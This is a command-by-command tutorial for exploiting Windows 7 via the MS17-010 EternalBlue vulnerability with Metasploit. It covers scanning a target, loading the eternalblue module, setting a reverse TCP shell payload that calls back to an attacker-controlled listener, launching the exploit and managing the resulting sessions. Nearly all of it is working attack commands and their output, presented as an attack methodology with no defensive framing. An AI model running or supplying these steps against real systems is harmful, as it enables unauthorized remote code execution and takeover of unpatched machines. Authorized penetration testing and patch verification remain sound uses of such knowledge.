Exploiting Windows 7 Systems Using Metasploit Framework
Remote Command Execution on Windows 7 via MS17-010 Vulnerability
Core Workflow
Vulnerability Identification → Module Selection → Configuration → Exploitation
Module Discovery Commands
search CVE-2017-0143
show exploits
show payloads
show auxiliary
Module Configuraton
Display parameters:
show options
show targets
show encoders
show advanced
info module_name
Set parameters:
use exploit_name
set payload_name
set parameter_name value
Exploitation Commmands
exploit
run
Practical Implementation
Vulnerability Scanning Module
msf6 > search ms17-010
auxiliary/scanner/smb/smb_ms17_010
Load Scanner Module
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) >
Display Configuration Options
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Set Target Host
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
Verify Configuration
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
RHOSTS 192.168.1.100
Execute Vulnerability Scan
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
Exploit Module Discovery
msf6 > search ms17-010
exploit/windows/smb/ms17_010_eternalblue
Load Exploit Module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Configure Target Host
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
View Compatible Targets
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
Payload Configuration
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/shell
payload/windows/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
Set Listener Parameters
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50 LPORT 5555
LHOST => 192.168.1.50 LPORT 5555
Launch Exploitation
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
Terminal Encoding Fix
C:\Windows\system32> chcp 65001
Session Management
Background Session Storage
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
View Active Sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Resume Specific Session
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 3
Background Session Preservasion
C:\Windows\system32> background
Background session 3? [y/N] y
Terminate Session
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 3
[*] Killing the following session(s): 3
Configuration Parameters Reference
Metasploit Attack Methodology
- Identify CVE vulnerability
- Locate corresponding exploit module
- Configure module parameters
- Deploy payload
- Execute exploitation
